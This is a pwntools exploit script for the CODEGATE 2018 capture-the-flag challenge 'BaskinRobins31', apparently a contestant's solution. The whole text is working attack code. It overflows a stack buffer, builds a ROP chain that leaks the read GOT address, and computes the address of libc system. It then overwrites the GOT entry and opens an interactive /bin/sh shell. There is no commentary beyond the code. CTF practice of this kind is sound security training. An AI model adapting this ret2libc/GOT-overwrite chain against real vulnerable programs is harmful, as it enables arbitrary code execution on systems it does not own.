codegate2018 - BaskinRobins31

from pwn import *
 
r = process("./BaskinRobins31")
e = ELF("./BaskinRobins31")
l = e.libc
 
write_plt = e.plt["write"]
write_got = e.got["write"]
read_plt = e.plt["read"]
read_got = e.got["read"]
bss = e.bss() + 16
shell = "/bin/sh"
pop_rdi_rsi_rdx = 0x000000000040087a
pop_rdi = 0x0000000000400bc3
 
pay = "A" * 184
 
tmp = r.recv()
print tmp
 
pay += p64(pop_rdi_rsi_rdx) + p64(0) + p64(bss) + p64(8) + p64(read_plt)
pay += p64(pop_rdi_rsi_rdx) + p64(1) + p64(read_got) + p64(8) + p64(write_plt)
pay += p64(pop_rdi_rsi_rdx) + p64(0) + p64(read_got) + p64(8) + p64(read_plt)
pay += p64(pop_rdi) + p64(bss) + p64(read_plt)
 
 
r.send(pay)
 
sleep(1)
r.recvuntil("Don't break the rules...:( \n")
 
r.send(shell)
 
add = u64(r.recv(8))
print(hex(add))
 
offset = add - l.symbols['read'] + l.symbols['system']
r.send(p64(offset))
 
r.interactive()